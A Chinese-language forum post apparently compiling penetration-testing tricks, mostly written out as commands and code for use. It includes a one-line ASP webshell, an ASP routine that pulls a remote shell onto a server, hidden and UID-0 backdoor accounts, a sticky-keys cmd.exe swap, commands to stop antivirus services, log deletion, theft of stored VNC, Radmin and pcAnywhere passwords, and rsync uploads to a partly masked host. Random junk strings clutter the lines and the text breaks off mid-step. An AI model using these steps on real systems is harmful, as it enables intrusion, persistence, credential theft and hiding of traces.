渗透技巧总结

admin

旁站路径问题
4 _: c- N- F$ X! M+ P, M2 |1、读网站配置。
2、用以下VBS
( d9 g* g# l! U1 u4 k( Y7 Q( @; dOn Error Resume Next
- M5 j: N" P, K8 Q" N6 KIf (LCase(Right(WScript.Fullname,11))="wscript.exe") Then
        

Msgbox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & "

. u% n9 P9 g$ j$ b3 E' V% Y* ]Usage:Cscript vWeb.vbs",4096,"Lilo"
+ u7 T8 s! |6 N  v$ I) |: R8 d        WScript.Quit
, h0 I) e+ \8 F( YEnd If
Set ObjService=GetObject
! H" |/ v! P! z6 D3 S
" H# r( V) o% Q: _, G("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
        If IsNumeric(obj3w.Name)

7 m8 K2 @! I1 }Then
                Set OService=GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name)
         
! p# H5 [' v% R  b( J* s
' i4 m/ p/ N' h# l; a" B       Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")
                If Err

$ S9 ?: Y  ~2 L. f% G# ~<> 0 Then WScript.Quit (1)
                WScript.Echo Chr(10) & "[" &

OService.ServerComment & "]"
6 W) x4 H( _! r# C                For Each Binds In OService.ServerBindings
, v1 e- N- |7 Z  |     
& q* @1 Q$ Y. G+ d5 W+ E6 b! r
                   Web = "{ " & Replace(Binds,":"," } { ") & " }"
                        
& R8 F) `" ~% W4 V8 s' ~
WScript.Echo Replace(Split(Replace(Web," ",""),"}{")(2),"}","")
" v# l* u! q8 I5 L: w  _                Next
) [  B7 U1 O# p2 {# h" X( q- @      

+ j3 k- s& [; h) a2 r( b3 L& C( M         WScript.Echo "ath            : " & VDirObj.Path
! h2 [- \$ r2 j# X        End If
Next
% s9 n; ^, r# }5 i5 B复制代码
3、iis_spy列举（注：需要支持ASPX，反IISSPY的方法：将activeds.dll，activeds.tlb降权）
3 t  _5 ~7 E3 x5 b$ S4、得到目标站目录，不能直接跨的。通过echo  ^<%execute(request("cmd"))%^> >>X:\目标目录\X.asp 或者copy 脚本文件 X:\目标目录\X.asp  像目标目录写入webshell。或者还可以试试type命令.
—————————————————————
WordPress的平台，爆绝对路径的方法是：
url/wp-content/plugins/akismet/akismet.php
, I% K* |( u/ W6 u4 u7 S  w2 turl/wp-content/plugins/akismet/hello.php
——————————————————————
1 \2 G( r  i+ D* D0 ~: SphpMyAdmin暴路径办法:
0 e! X) f1 D" J4 [$ A5 iphpMyAdmin/libraries/select_lang.lib.php
. _+ l5 }5 n6 lphpMyAdmin/darkblue_orange/layout.inc.php
/ O* ^7 |: A( h( o# t9 QphpMyAdmin/index.php?lang[]=1
' J8 N3 G8 p! S  wphpmyadmin/themes/darkblue_orange/layout.inc.php
4 s, [' h0 o0 }/ z7 E$ x( [* }————————————————————
6 p2 Q* [9 B+ J. f8 Q4 ~6 ~/ ^" ]网站可能目录(注：一般是虚拟主机类）
data/htdocs.网站/网站/
————————————————————
" Z, m0 e/ L# `2 B/ ~6 F# g) g6 E* T. QCMD下操作VPN相关
, o" Q- ]3 Y. s$ p* Enetsh ras set user administrator permit #允许administrator拨入该VPN
- C6 H- s& u& C( N7 Bnetsh ras set user administrator deny #禁止administrator拨入该VPN
" Z3 ~1 p% M' k5 [" knetsh ras show user #查看哪些用户可以拨入VPN
netsh ras ip show config #查看VPN分配IP的方式
netsh ras ip set addrassign method = pool #使用地址池的方式分配IP
netsh ras ip add range from = 192.168.3.1 to = 192.168.3.254 #地址池的范围是从192.168.3.1到192.168.3.254
7 Q8 E8 X9 Q# H% N————————————————————
命令行下添加SQL用户的方法
需要有管理员权限,在命令下先建立一个c:\test.qry文件,内容如下:
4 H+ _* n$ [8 v  D, ~exec master.dbo.sp_addlogin test,123
. R9 ]  J, |$ J- v& |4 [0 ~) E% oEXEC sp_addsrvrolemember 'test, 'sysadmin'
) d" L3 o% }7 p1 I1 v; S5 M9 y) f然后在DOS下执行:cmd.exe /c isql -E /U alma /P /i c:\test.qry
6 ^9 l* \) R" s
另类的加用户方法
在删掉了net.exe和不用adsi之外，新的加用户的方法。代码如下：
js:
var o=new ActiveXObject( "Shell.Users" );
z=o.create("test") ;
z.changePassword("123456","")
. D4 a8 c" q( W8 O! Yz.setting("AccountType")=3;

  R" {( ?1 z2 ^7 v! E5 `0 m: ^vbs:
Set   o=CreateObject( "Shell.Users" )
+ N! K1 s+ A1 ]Set z=o.create("test")
! [' A' i4 O3 h: Nz.changePassword "123456",""
5 J3 Y* b/ L) bz.setting("AccountType")=3
- L: r5 \4 D; U, [9 e——————————————————
# U0 Y9 |: q3 o  j: }- Vcmd访问控制权限控制（注：反everyone不可读，工具-文件夹选项-使用简单的共享去掉即可）

2 R4 }" M; Z* {5 v. x命令如下
1 ^: y$ {, P( A$ J; Qcacls c: /e /t /g everyone:F           #c盘everyone权限
; a6 I2 s* n( v$ u* Acacls "目录" /d everyone               #everyone不可读，包括admin
  O6 k2 Y& U3 S6 L————————以下配合PR更好————
3389相关
a、防火墙TCP/IP筛选.（关闭net stop policyagent & net stop sharedaccess）
b、内网环境（LCX）
9 @$ w, G0 I5 o/ h% {& Ic、终端服务器超出了最大允许连接
& J; E8 E5 Z3 r- s: o8 B9 FXP 运行mstsc /admin
2003 运行mstsc /console   
/ |( `0 \0 x, t# V0 z! R
杀软关闭（把杀软所在的文件的所有权限去掉）
处理变态诺顿企业版：
net stop "Symantec AntiVirus" /y
+ u1 P* `! W, Z& v- W4 S# c" B; gnet stop "Symantec AntiVirus Definition Watcher" /y
net stop "Symantec Event Manager" /y
/ {& h; Q& ^/ P+ b+ f: ?- Q" pnet stop "System Event Notification" /y
1 a  _) `$ |" Z/ n3 O6 S/ @- a" P. mnet stop "Symantec Settings Manager" /y
5 K" |$ ^& C' v- ^7 D
  I! U0 p5 K8 S$ D- M% c卖咖啡：net stop "McAfee McShield"
* d. @  ?8 W6 ?* F* F6 s, X( B7 N————————————————————

5次SHIFT：
copy %systemroot%\system32\sethc.exe %systemroot%\system32\dllcache\sethc1.exe
3 U* y0 C# }0 O# Y4 N) Ccopy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe /y
copy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe /y
——————————————————————
, f1 v) S; W# r" m隐藏账号添加：
$ P) k8 L4 @- d9 Y1、net user admin$ 123456 /add&net localgroup administrators admin$ /add
# l0 f: ?6 h! W' W  }( v2、导出注册表SAM下用户的两个键值
8 z% Z2 k' C5 U4 N+ Z2 U3 c9 ^, r3、在用户管理界面里的admin$删除，然后把备份的注册表导回去。
4、利用Hacker Defender把相关用户注册表隐藏
8 v2 p- g  \1 k( @——————————————————————
/ I+ G6 i  L' F$ \( o0 Q! }/ PMSSQL扩展后门：
& C, F' g2 X$ g9 v' W' w3 t2 xUSE master;
5 A& I! y. y! l8 WEXEC sp_addextendedproc 'xp_helpsystem', 'xp_helpsystem.dll';
GRANT exec On xp_helpsystem TO public;
# ^' Y' f) v3 I# Y———————————————————————
) H& v" F2 }7 i日志处理
2 I- i. l5 f# o/ u( d2 z# X& IC:\WINNT\system32\LogFiles\MSFTPSVC1>下有
: d" @4 H7 r  @" a. u" fex011120.log / ex011121.log / ex011124.log三个文件，
: C& }8 f( n* S1 _" t# a直接删除 ex0111124.log
不成功，“原文件...正在使用”
当然可以直接删除ex011120.log / ex011121.log
& R' n% n; p" H1 J用记事本打开ex0111124.log，删除里面的一些内容后，保存，覆盖退出，成功。
0 M" M+ ?1 ~8 K5 o3 I当停止msftpsvc服务后可直接删除ex011124.log
+ w$ [1 Z& t9 |3 K3 Q- v
MSSQL查询分析器连接记录清除：
MSSQL 2000位于注册表如下：
HKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers
找到接接过的信息删除。
) j4 T5 _* m+ L3 f$ q0 A! h6 dMSSQL 2005是在C:\Documents and Settings\<user>\Application Data\Microsoft\Microsoft SQL

) q& p+ a7 ?' \7 YServer\90\Tools\Shell\mru.dat
* u" ~  N- o2 c" C—————————————————————————
防BT系统拦截可使用远程下载shell，也达到了隐藏自身的效果，也可以做为超隐蔽的后门，神马的免杀webshell，用服务器安全工具一扫通通挂掉了）

<%
" E( Z/ w  ?6 q1 Z) v: f" BSub eWebEditor_SaveRemoteFile(s_LocalFileName,s_RemoteFileUrl)
Dim Ads, Retrieval, GetRemoteData
On Error Resume Next
Set Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
With Retrieval
.Open "Get", s_RemoteFileUrl, False, "", ""
.Send
GetRemoteData = .ResponseBody
! z6 d4 j8 ^$ f. h5 P- dEnd With
Set Retrieval = Nothing
Set Ads = Server.CreateObject("Adodb.Stream")
1 u% d3 M' P) e( |0 }% j# HWith Ads
# |& K( |( t, _6 ~.Type = 1
2 j7 H/ f' P( ]' ]* M.Open
.Write GetRemoteData
.SaveToFile Server.MapPath(s_LocalFileName), 2
& b; ?& }" W2 }3 F5 t9 V. }.Cancel()
.Close()
# }% o" F5 j6 Y! R$ _End With
Set Ads=nothing
End Sub

4 G  J2 `! s1 @) h) C' TeWebEditor_SaveRemoteFile"your shell's name","your shell'urL"
  A" _7 T2 D5 E4 ]7 |, z) m%>

VNC提权方法:
# M- M. X6 c( C3 `2 w9 y  i( S0 q& T利用shell读取vnc保存在注册表中的密文，使用工具VNC4X破解
注册表位置：HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\password
5 i8 d+ I) [# \- G$ }8 f' aregedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\SOFTWARE\ORL"
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\Software\RealVNC\WinVNC4"
Radmin 默认端口是4899，
# T2 @2 h. _; JHKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter//默认密码注册表位置
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port //默认端口注册表位置
% O% F, }. n& |+ O3 R' E然后用HASH版连接。
/ U! R6 x( O$ Y# b/ b) E5 i" E如果我们拿到一台主机的WEBSEHLL。通过查找发现其上安装有PCANYWHERE 同时保存密码文件的目录是允许我们的IUSER权限访问，我们可以下载这个CIF文件到本地破解，再通过PCANYWHERE从本机登陆服务器。
4 Z# v$ k# p: L7 G( f保存密码的CIF文件,不是位于PCANYWHERE的安装目录,而且位于安装PCANYWHERE所安装盘的\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 如果PCANYWHERE安装在D:\program\文件下下，那么PCANYWHERE的密码文件就保存在D:\Documents and Settings\All
4 ~/ R! N+ A$ L0 P, d* q* IUsers\Application Data\Symantec\pcAnywhere\文件夹下。
——————————————————————
搜狗输入法的PinyinUp.exe是可读可写的直接替换即可
——————————————————----------
WinWebMail目录下的web必须设置everyone权限可读可写，在开始程序里，找到WinWebMail快捷方式下下
) B, S( {0 @9 y0 e来，看路径，访问 路径\web传shell，访问shell后，权限是system，放远控进启动项，等待下次重启。
没有删cmd组建的直接加用户。
7i24的web目录也是可写，权限为administrator。

1433 SA点构建注入点。
<%
strSQLServerName = "服务器ip"
strSQLDBUserName = "数据库帐号"
strSQLDBPassword = "数据库密码"
strSQLDBName = "数据库名称"
Set conn = Server.createObject("ADODB.Connection")
strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName &

";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" &

, U3 C3 s9 l* e- i) B8 v4 {5 C9 KstrSQLDBName & ";"
! k$ r4 a) m6 @: U, W% M& Iconn.open strCon
dim rs,strSQL,id
; Z: N# \  k+ e! o" R  a) kset rs=server.createobject("ADODB.recordset")
. e: ~: O- O+ ~+ N4 H- V: bid = request("id")
) x- Y9 h0 P5 c9 a) YstrSQL = "select * from ACTLIST where worldid=" & idrs.open strSQL,conn,1,3
rs.close
: _  N! r3 f6 m+ m%>
* l6 G4 A- W3 m3 q7 X$ I9 u% i复制代码
  t: {5 {! F& U******liunx 相关******
一.ldap渗透技巧
9 b8 Y( l; |( d- L1.cat /etc/nsswitch
, u1 u. N- G" @6 X看看密码登录策略我们可以看到使用了file ldap模式
8 p  A+ s% \, M3 V
2.less /etc/ldap.conf
* B" G, y+ G. G1 ~base ou=People,dc=unix-center,dc=net
找到ou,dc,dc设置
) ]8 K# ]8 \2 c
3.查找管理员信息
匿名方式
ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
: l' g  C! r7 O7 [; s7 `6 Y! v
"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
" F% W6 N( o5 F" B! A有密码形式
ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

( N5 d1 j7 G" \$ a: O$ f"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
# E0 q' g, `* l3 B/ \: L8 D

) |, P5 C! E3 @6 U/ f7 B4.查找10条用户记录
ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口
9 z# V3 N' E/ M* n* a+ s
4 a* f+ }3 ?  M) L( E0 i实战:
1.cat /etc/nsswitch
看看密码登录策略我们可以看到使用了file ldap模式

2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net
$ [! z0 g# L8 Z找到ou,dc,dc设置

3.查找管理员信息
7 S0 H- S4 t8 u9 r% f# q匿名方式
ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
: R) \! D. Q& d8 u, \% _8 `9 q& E* s
( t0 m* q/ z6 x* L"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
( c8 ^8 C+ v1 \, b- L! X# M有密码形式
ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
- j7 W! G* _6 [+ H* F* ~
2 W, _7 b- P9 \5 ]% |"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
/ K! U4 e! S( x5 e5 B
2 z/ N1 U6 N: [6 z0 r, O8 L  `
/ A4 J9 R9 `: R3 E8 }4.查找10条用户记录
ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

! @. |& L8 n3 H" p% f! K5 S# E渗透实战:
1.返回所有的属性
* _3 Q9 O  u  Q: ^- D5 Xldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*"
version: 1
dn: dc=ruc,dc=edu,dc=cn
dc: ruc
objectClass: domain
* o& z+ n/ H. _- }
dn: uid=manager,dc=ruc,dc=edu,dc=cn
6 u6 ?. F* q. ]8 m4 @, [5 _uid: manager
" J* ~; H* v8 ?4 K$ ~( wobjectClass: inetOrgPerson
0 i$ L- I; ?5 B' Y4 _0 i  q& NobjectClass: organizationalPerson
6 ?. V' W* I; nobjectClass: person
objectClass: top
sn: manager
8 {! Q3 z5 s8 r6 Ccn: manager

6 L. c$ {) O  L" G1 K# N+ V9 rdn: uid=superadmin,dc=ruc,dc=edu,dc=cn
& \1 j7 P( l% p  Huid: superadmin
objectClass: inetOrgPerson
objectClass: organizationalPerson
- B3 C# n5 D, S5 C$ y  ^objectClass: person
objectClass: top
8 j! L% {+ w/ |: Rsn: superadmin
  G/ D6 s' {3 D: E. f" Jcn: superadmin

dn: uid=admin,dc=ruc,dc=edu,dc=cn
! y! C0 c1 e+ p0 o4 Tuid: admin
) s8 Z0 u0 m1 |9 o3 e2 }+ ^6 \2 JobjectClass: inetOrgPerson
1 ?8 o# U; E& `objectClass: organizationalPerson
objectClass: person
" C9 _( X: u, L" y  h( ^objectClass: top
( k5 ?. j) T/ y1 H3 o/ B  Usn: admin
cn: admin

" h2 Q1 H' X  d9 h* H" s7 v& |dn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn
' L1 f( N  v* T' Iuid: dcp_anonymous
5 A; c4 t* e0 R  d, {objectClass: top
9 s2 z8 w3 |  a% u! l4 oobjectClass: person
3 L: n( V, q5 Z$ sobjectClass: organizationalPerson
% L* }: _( W5 z1 [$ o9 M* robjectClass: inetOrgPerson
" L; |& v) S7 Lsn: dcp_anonymous
0 f4 F- E4 |6 u5 R2 Scn: dcp_anonymous
/ }9 f: h9 R8 [* X0 `7 S; i
9 {6 n) p/ m4 z5 p: W2.查看基类
" a5 t9 J* i% Z4 |6 n; E, dbash-3.00# ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s base "objectclass=*" |
/ b+ K* C, E, W
more
0 }2 g- V; m8 J3 I4 u' }3 oversion: 1
' Q6 A! L4 w$ wdn: dc=ruc,dc=edu,dc=cn
- b' S! G6 H+ _5 t; U6 Ydc: ruc
) x' I: H' ]+ cobjectClass: domain

# U' b. e8 g# C) M0 t6 c, h5 X3.查找
bash-3.00# ldapsearch -h 192.168.7.33 -b "" -s base "objectclass=*"
version: 1
: L# u  H# }9 g& Zdn:
; A$ \  U4 ?' _& u3 OobjectClass: top
8 W7 m0 `" U( M/ m7 Y1 ?/ rnamingContexts: dc=ruc,dc=edu,dc=cn
6 i# z; ]( L+ o' z; Q7 GsupportedExtension: 2.16.840.1.113730.3.5.7
supportedExtension: 2.16.840.1.113730.3.5.8
5 C  l9 l6 h  C$ _0 X$ b. l$ l. I: `supportedExtension: 1.3.6.1.4.1.4203.1.11.1
( \. C, {( _, y+ q/ ?: d% f! u# gsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.25
supportedExtension: 2.16.840.1.113730.3.5.3
supportedExtension: 2.16.840.1.113730.3.5.5
2 m, g8 k. ~# z0 V/ msupportedExtension: 2.16.840.1.113730.3.5.6
# E+ f, L  w9 b8 _# A8 b1 W  i% LsupportedExtension: 2.16.840.1.113730.3.5.4
* U2 J9 ~# G" p& f  s1 e% UsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.1
/ D' l, R  ]3 U6 B3 O# FsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.2
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.3
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.4
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.5
, @1 i! R* H6 `" C; M/ Y& G1 M6 WsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.6
" T* K; W6 I* {supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.7
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.8
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.9
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.23
5 ], w7 j. M2 |supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.11
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.12
, K$ ^$ T' @( M9 g: X  Z& B5 AsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.13
7 d2 z, h5 i! y! l/ c: ^supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.14
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.15
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.16
$ l* ^" Q* W3 r9 `9 I$ isupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.17
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.18
8 c( X* H; x! `% Y3 o6 [" MsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.19
7 s3 b) ^/ H. v) E$ D1 IsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.21
9 e/ A* ]* M- }. Z" Q2 N8 ysupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.22
, j. e6 [: d! x/ |1 q0 {( Y, X- ]supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.24
supportedExtension: 1.3.6.1.4.1.1466.20037
: @7 \$ H7 R* c9 R* F# usupportedExtension: 1.3.6.1.4.1.4203.1.11.3
' m4 j2 C0 S1 \3 y  h* }0 t0 c' M" KsupportedControl: 2.16.840.1.113730.3.4.2
8 j* c' m1 E: DsupportedControl: 2.16.840.1.113730.3.4.3
supportedControl: 2.16.840.1.113730.3.4.4
supportedControl: 2.16.840.1.113730.3.4.5
: c; ?& w) ^- \supportedControl: 1.2.840.113556.1.4.473
1 h. |' p, b7 W. psupportedControl: 2.16.840.1.113730.3.4.9
supportedControl: 2.16.840.1.113730.3.4.16
: [7 ?0 i) t6 B0 RsupportedControl: 2.16.840.1.113730.3.4.15
3 e( j4 {1 c" ]' H0 n4 k: g- IsupportedControl: 2.16.840.1.113730.3.4.17
supportedControl: 2.16.840.1.113730.3.4.19
3 r. N. Q! |: Z* i- c$ vsupportedControl: 1.3.6.1.4.1.42.2.27.9.5.2
1 t, d* }# w' B& t$ T: XsupportedControl: 1.3.6.1.4.1.42.2.27.9.5.6
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.8
  @$ g* b, C8 Y7 EsupportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
supportedControl: 2.16.840.1.113730.3.4.14
supportedControl: 1.3.6.1.4.1.1466.29539.12
supportedControl: 2.16.840.1.113730.3.4.12
supportedControl: 2.16.840.1.113730.3.4.18
supportedControl: 2.16.840.1.113730.3.4.13
) n0 B% A1 t' D9 g  J7 isupportedSASLMechanisms: EXTERNAL
supportedSASLMechanisms: DIGEST-MD5
supportedLDAPVersion: 2
supportedLDAPVersion: 3
vendorName: Sun Microsystems, Inc.
vendorVersion: Sun-Java(tm)-System-Directory/6.2
dataversion: 020090516011411
0 @$ l8 Z& {( y# N1 x6 inetscapemdsuffix: cn=ldap://dc=webA:389
" y4 g' u' r' u. R7 ~) P) l3 ksupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
8 N5 G2 _. s% `4 R7 ysupportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
  p- \9 _0 r% n( j  d% L0 G. V2 \supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
4 t& {' d4 m7 k$ CsupportedSSLCiphers: TLS_RSA_WITH_AES_256_CBC_SHA
" F4 _& V& _0 K; i% msupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_128_CBC_SHA
1 L4 R5 c  [1 Z5 H! I' VsupportedSSLCiphers: TLS_DHE_DSS_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_RC4_128_SHA
2 U% T, p! Y6 F) RsupportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
6 D+ c4 Z; o7 s" F& m" L* u. v; K- k; fsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_RC4_128_SHA
) }+ Z* m' E/ ^% d% K7 DsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
6 U7 t8 i) S+ r- K+ v3 N$ n" ?supportedSSLCiphers: SSL_RSA_WITH_RC4_128_MD5
supportedSSLCiphers: SSL_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_RSA_WITH_AES_128_CBC_SHA
: r& O8 X2 \- ^; g! PsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
% b; d1 l" s3 y( w; q. RsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA
( p( `8 j: [1 r4 ?4 IsupportedSSLCiphers: SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA
; \) T3 ]0 n- D0 OsupportedSSLCiphers: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
/ d0 Y1 W: ]: ]% e( H2 X9 NsupportedSSLCiphers: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_3DES_EDE_CBC_SHA
4 N  ^8 X& z4 k; I7 y) l. z$ s) g( CsupportedSSLCiphers: SSL_DHE_RSA_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_DHE_DSS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_FIPS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_DES_CBC_SHA
" W6 b: F/ O" M0 H4 ]6 h4 C: lsupportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_RC4_56_SHA
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA
: h, L# `3 U5 f: _& {$ L( wsupportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC4_40_MD5
* U, [" J+ [, o) usupportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_NULL_SHA
( T, W$ j+ d6 N, _2 i7 p+ asupportedSSLCiphers: TLS_ECDHE_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_NULL_SHA
3 F# u% T1 S& Q4 ]% c& S5 u* N! fsupportedSSLCiphers: SSL_RSA_WITH_NULL_SHA
. s6 B: J6 ~! g' tsupportedSSLCiphers: SSL_RSA_WITH_NULL_MD5
supportedSSLCiphers: SSL_CK_RC4_128_WITH_MD5
supportedSSLCiphers: SSL_CK_RC2_128_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_DES_192_EDE3_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_DES_64_CBC_WITH_MD5
3 ?- M0 u7 P3 r. Z# e1 psupportedSSLCiphers: SSL_CK_RC4_128_EXPORT40_WITH_MD5
supportedSSLCiphers: SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5
2 p$ y. y: ~$ u- i/ k6 s————————————
2. NFS渗透技巧
) d. {% P! G. r2 ]2 Eshowmount -e ip
: B3 O0 S0 ^2 Y& W( y列举IP
——————
3.rsync渗透技巧
; F; l* e, L- y1.查看rsync服务器上的列表
rsync 210.51.X.X::
9 A* p, U: Y1 P, d% j; [5 i6 g8 ^finance
4 A; v) P4 t, \3 limg_finance
auto
- y  K7 G) ~7 @( f  p  x4 ?img_auto
2 |4 P3 J9 {. o9 L) \/ V# u/ yhtml_cms
img_cms
0 y6 `; A8 k4 [7 M' H3 \/ Cent_cms
- V) O3 F4 J% c' t$ Yent_img
$ E  d* O4 q+ _" ~9 Uceshi
res_img
res_img_c2
chip
chip_c2
ent_icms
0 B* l3 X2 I5 i- @; egames
; {2 ^- r, {1 R9 o6 {7 d  cgamesimg
; g% d6 J& n8 d' j8 S  L, jmedia
mediaimg
5 C  K7 s' C; J- P9 k( e* z/ Cfashion
res-fashion
! o8 s( u6 S- S+ Pres-fo
5 g1 }' O+ k. R& g) b) Q( rtaobao-home
$ S9 r  x" T# }res-taobao-home
1 L- _4 V8 a) c# O8 ~house
res-house
res-home
$ n; \) r+ g. K% e. `res-edu
( V' k1 v! @0 i9 s' j. |0 ~) Zres-ent
' m1 H5 b; V) l" c7 r5 D( N' rres-labs
7 A/ D% y3 F# U7 D+ q$ [0 jres-news
res-phtv
  W$ I+ s/ o% f; ?' m2 Rres-media
4 c: |, E7 J# U! @home
edu
5 V# @& R* U/ @. rnews
( m! t! l! C, [; q! i1 \res-book
/ Q" E8 ^/ R* N) X; r: L  n7 V4 c
看相应的下级目录(注意一定要在目录后面添加上/)


6 ~/ O. I* z. \$ |1 @: Z% ^3 q4 Zrsync 210.51.X.X::htdocs_app/
rsync 210.51.X.X::auto/
rsync 210.51.X.X::edu/
0 Y/ H8 Z, k& u5 \
9 b$ Q% @4 @7 Z; _2 F2.下载rsync服务器上的配置文件
rsync -avz 210.51.X.X::htdocs_app/ /tmp/app/

  d) X& t" g" d( ]& {$ N3.向上更新rsync文件(成功上传,不会覆盖)
$ Q, _7 U3 F+ s: ]/ Q7 G8 Ersync -avz nothack.php 210.51.X.X::htdocs_app/warn/
- c+ c8 W1 g- P4 v. u  o' D! fhttp://app.finance.xxx.com/warn/nothack.txt
1 b" i4 u" t- ?- V) c- {
四.squid渗透技巧
nc -vv baidu.com 80
; g6 \, D3 W' K3 CGET HTTP://www.sina.com / HTTP/1.0
GET HTTP://WWW.sina.com:22 / HTTP/1.0
7 l2 y  Q0 b0 G' ?- ]五.SSH端口转发
7 `! J( I. \* l" I, o/ Fssh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip

六.joomla渗透小技巧
5 a2 f6 l9 ^1 ^# |0 C确定版本
index.php?option=com_content&view=article&id=30:what-languages-are-supported-by-joomla-
7 t6 d  m% t! V" D/ Y8 V
% V. B( D* f- g' s15&catid=32:languages&Itemid=47

重新设置密码
index.php?option=com_user&view=reset&layout=confirm
5 e6 I9 G! ~% f; q9 V
七: Linux添加UID为0的root用户
* T( i# D% N5 H8 V& l! H+ c2 H9 _  Z6 Ruseradd -o -u 0 nothack

八.freebsd本地提权
[argp@julius ~]$ uname -rsi
* freebsd 7.3-RELEASE GENERIC
! @2 Y( J. p+ `% {0 \7 q* [argp@julius ~]$ sysctl vfs.usermount
* vfs.usermount: 1
